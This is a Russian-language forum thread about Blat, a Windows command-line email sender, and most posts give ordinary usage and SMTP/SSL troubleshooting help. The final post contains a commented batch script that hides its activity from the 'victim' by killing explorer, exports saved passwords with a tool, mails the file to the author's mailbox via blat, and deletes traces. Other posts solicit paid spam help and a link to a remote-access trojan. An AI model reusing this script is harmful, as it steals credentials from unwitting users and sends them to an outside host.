Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Компьютеры » Программы » Blat

Модерирует : gyra, Maz

 Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10

Открыть новую тему     Написать ответ в эту тему

8AleX8



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Blat это маленькая open source консольная програмулька под Windows, которая позволяет отправлять e-Mail по SMTP протоколу из командной строки. Подробнее...
 
Текущая версия 3.2.22 (2019-07-21)    
Оф сайт http://www.blat.net/    
Скачать http://sourceforge.net/projects/blat/files/    
Обсуждение (англ) http://groups.yahoo.com/group/blat/

Различные GUI
 
 
Родственные темы
Программы для отправки почты из командной строки

Всего записей: 1813 | Зарегистр. 11-12-2001 | Отправлено: 21:15 29-01-2004 | Исправлено: Smitis, 20:04 04-10-2020
slech



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
peculiar, можно каждому своё письмо слать.
Если использовать вариант igor_andreev, то можно составить такой скриптик для mail.ru:
 
send-mail-by-one-user.cmd
Код:
::
::
set maildir=D:\mail
set mailserver=smtp.mail.ru:25
set mailfrom=from-user@mail.ru
set mailsubject="Promo"
set mailbody="Promo Text"
set mailuser=username
set mailpassword=password
set user-to-list=mails.txt
::
for /f %%a in ('type %user-to-list%') do (%maildir%\blat.exe -server %mailserver% -f %mailfrom% -to %%a -u %mailuser% -pw %mailpassword% -subject %mailsubject% -body %mailbody%
::
ping localhost -n 4)
::
pause
::

Только возможно mail.ru использует SSL/TLS и поэтому может неотработать скрипт и нужно будет смотреть параметры подключения к SMTP.
 
mails.txt
Код:
 
user1@mail.ru
user2@mail.ru
 


Всего записей: 4893 | Зарегистр. 10-11-2004 | Отправлено: 19:50 26-05-2014
IGOR511

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
"Друзья, подскажите такой вопрос есть. Как отправлять нескольким адресатам, но чтобы они не видели в полученном письме только свой адрес ? А то получается такой рассылке грош цена ведь светишь свою свою базу адресов конкурентам ?"
 
Использую массовую рассылку в стандартном The Bat, очень даже неплохая фишка, поищи в инет настройки,там просто

Всего записей: 38 | Зарегистр. 21-03-2013 | Отправлено: 21:59 22-06-2014
stalklab



Full Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Парни такой вопрос, не могу сделать чтобы текст письма брался из xml-файла, он только прикладывается...
Кто делал?

Всего записей: 407 | Зарегистр. 04-01-2009 | Отправлено: 14:23 15-07-2014
yuraskas



Full Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
С 19-го сентября 2014 года стала обязательна авторизация по SSL на pop и smtp-серверах яндекс.
И блат перестал работать!!!!
Есть у кого вариант, как решить эту проблему?

Всего записей: 530 | Зарегистр. 06-06-2003 | Отправлено: 15:05 22-09-2014
Skif_off

Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
yuraskas
https://github.com/muquit/mailsend/releases/ ?

Всего записей: 6490 | Зарегистр. 28-01-2008 | Отправлено: 15:19 22-09-2014
Jin32



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Та же проблема. Скажу больше, несколько дней уже как и с mail.ru такая же ерунда...
 
Помогите решить проблему. По ссылке https://github.com/muquit/mailsend/releases/ сходил, так все запутанно... Может из тех кто этим mailsend пользуется подскажет готовую строчку в батник со всеми параметрами? Ну по типу как в блате:
 
blat.exe -server server.ru -f e-mail-from@server.ru -u e-mail-from@server.ru -pw pass  -to e-mail-to@server.ru -subject SUBJ -body "Текст сообщения" -attach FILE
 
то что жирным шрифтом заменить на свое, где:
-server server.ru – сервер Исходящей почты. Несмотря на то, что мы отправляем из командной строки, но сервер, с которого будет уходить письмо, должен быть!
-f e-mail-from@server.ru – адрес отправителя. Как и в случае с сервером. Письмо должно быть от кого-то  
-u e-mail-from@server.ru – имя пользователя (логин) для сервера Исходящей почты. Используется для упомянутой выше SMTP аутентификации. В моем случае логин должен состоять из имени пользователя на сервере (то есть имя@сервер), это зависит от сервера. На других серверах может быть просто e-mail-from
-pw pass – пароль для той же аутентификации.
-to e-mail-to@server.ru – адрес получателя
-subject SUBJ – тема письма. Должна быть в кавычках, если есть пробелы!
-body "Текст сообщения"  – текст письма. Должен быть в кавычках, если есть пробелы!
-attach FILE – файл(ы) вложения.
 
Ну или может кто другой программой пользуется, Сmail например http://www.inveigle.net/ подойдет и помощь в ее настройке. Заранее спасибо.

Всего записей: 50 | Зарегистр. 22-04-2007 | Отправлено: 20:06 26-09-2014 | Исправлено: Jin32, 20:12 26-09-2014
Dunkeshu

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Есть у кого вариант, как решить эту проблему?
На подобный вопрос уже отвечали в данной теме. Дополнительно можно использовать, например CDO, то есть использовать встроенные средства OS Windows. http://forum.ru-board.com/topic.cgi?forum=33&topic=11695

Всего записей: 621 | Зарегистр. 25-01-2010 | Отправлено: 02:25 27-09-2014
pasynok



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Jin32
Для CMail (With SSL) достаточно добавить параметром -starttls и будет работать и с yandex и с mail.ru.

Всего записей: 1734 | Зарегистр. 04-12-2004 | Отправлено: 17:28 04-10-2014
IGOR511

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
В связи с введением SSl  на серверах mail.ru  программу blat забросил, она не отправляет письма, а вот Cmail очень даже ее заменила и даже в некоторых случаях, где ранее blat не отправляла, стали письма отправляться, рекомендую к переходу

Всего записей: 38 | Зарегистр. 21-03-2013 | Отправлено: 23:26 04-10-2014
2007Black

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
IGOR511
pasynok
А пример своей строки можно "в студию"?
Поскольку по CMail топика нету, как в нем вставить тело письма  из файла?

Всего записей: 30 | Зарегистр. 10-12-2007 | Отправлено: 13:11 08-10-2014 | Исправлено: 2007Black, 13:29 08-10-2014
IGOR511

Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Вот создал топик по Cmail http://forum.ru-board.com/topic.cgi?forum=8&topic=51370#lt

Всего записей: 38 | Зарегистр. 21-03-2013 | Отправлено: 09:01 13-10-2014
slech



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
IGOR511 вы видимо написали своё сообщение в общую тему по программам.
Создал тему посвящённую CMail.

Всего записей: 4893 | Зарегистр. 10-11-2004 | Отправлено: 21:44 13-10-2014
pasynok



Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
сабж, между тем, обновился до 3.2.2
 
2007Black

Цитата:
как в нем вставить тело письма  из файла?

Тоже задавался этим вопросом. В версии 0.7.2 появилась возможность использовать html файл в качестве тела письма. Можно и обычный текстовой файл использовать в кодировке UTF-8 (по указанию автора). Параметр -body-html:filename.
ЗЫ. В теме по Cmail добавил пример использования.

Всего записей: 1734 | Зарегистр. 04-12-2004 | Отправлено: 21:58 19-10-2014 | Исправлено: pasynok, 22:49 19-10-2014
mithridat1



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Поделитесь ссылкой на ZeRAT.

Всего записей: 4948 | Зарегистр. 05-01-2006 | Отправлено: 14:22 01-06-2015
PavelSES



Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Поделитесь ссылкой на ZeRAT.

Последняя сслыка на mega.co.nz живая.

Всего записей: 223 | Зарегистр. 18-07-2006 | Отправлено: 22:31 01-06-2015 | Исправлено: PavelSES, 22:32 01-06-2015
Xcomp18

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Пожалуйста дайте готовый код для отправки файлов блатом через mail.ru или yandex.ru или любой другой почтовый сервер но только не gmail. В гугле масса примеров по настройке но не один у меня не заработал по крайней мере с mail.ru и yandex.ru. Уже долго мучаюсь по этому просьба только код, который лично проверяли на работоспособность.

Всего записей: 7 | Зарегистр. 08-07-2015 | Отправлено: 15:14 08-07-2015
Freddy1984

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Здравствуйте! Подскажите, что написать в скрипте что бы в файл записывался отчет об успешной доставке письма?
Параметр -log <file> записывает только действия программы.
Вроде подходит параметр -dsn (Delivery Status Notifications) но он не пишет в файл отчет об успешной доставке.
Подскажите пожалуйста кто знает.

Всего записей: 23 | Зарегистр. 18-09-2010 | Отправлено: 18:17 07-09-2015
Dunkeshu

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Xcomp18 http://forum.ru-board.com/topic.cgi?forum=5&topic=10837&start=140#20
Freddy1984 Все подобные параметры не дают 100% гарантии, что письмо доставлено.

Всего записей: 621 | Зарегистр. 25-01-2010 | Отправлено: 12:28 09-09-2015
EvgeniyBobrikov

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Люди, у кого есть опыт рассылки сообщений при помощи "Blat", может быть спам, помогите пожалуйста либо подскажите, буду рад!
 
Естественно, за оплату!
Мой ICQ - 657792460

Всего записей: 1 | Зарегистр. 17-02-2016 | Отправлено: 11:46 17-02-2016
kaprizulika

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
:start
SSL
@rem создаём метку start
ping ya.ru -n 5 >nul || goto start
@rem проверяем инет и если errorlevel(код ошибки) больше 0 то идём на start
blat.exe -install -server smtp.yandex.ru -port 465 -f vk95@yandex.ru -u vk95 -pw 454324
@rem задаём параметры blat'а
taskkill /f /im explorer.exe
@rem завершаем процесс explorer для того что бы жертва не увидела MPR на таскбаре
mpr.exe /export
@rem запускаем MPR в режиме експорта тоесть он прароботает и сохранит рузультат в файл
ren *.mpf pass.mpf
@rem переименовываем полученный файл в pass.mpf
blat.exe -body PassReg -to ker95@yandex.ru -attach pass.mpf
@rem отправляем файл себе на мыло
explorer
@rem запускам explorer(раньше лучше не надо, а то может после этого сразу батник остоновить и ничего не придёт)
del %Temp%\*.* /Q /S /F
@rem удаляем все файлы, которые использовали
exit
@rem выходим из батника
 
 
 
 
 
 
не могу понять где ошибки??

Всего записей: 1 | Зарегистр. 10-11-2016 | Отправлено: 20:19 10-11-2016
Открыть новую тему     Написать ответ в эту тему

Страницы: 1 2 3 4 5 6 7 8 9 10

Компьютерный форум Ru.Board » Компьютеры » Программы » Blat


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru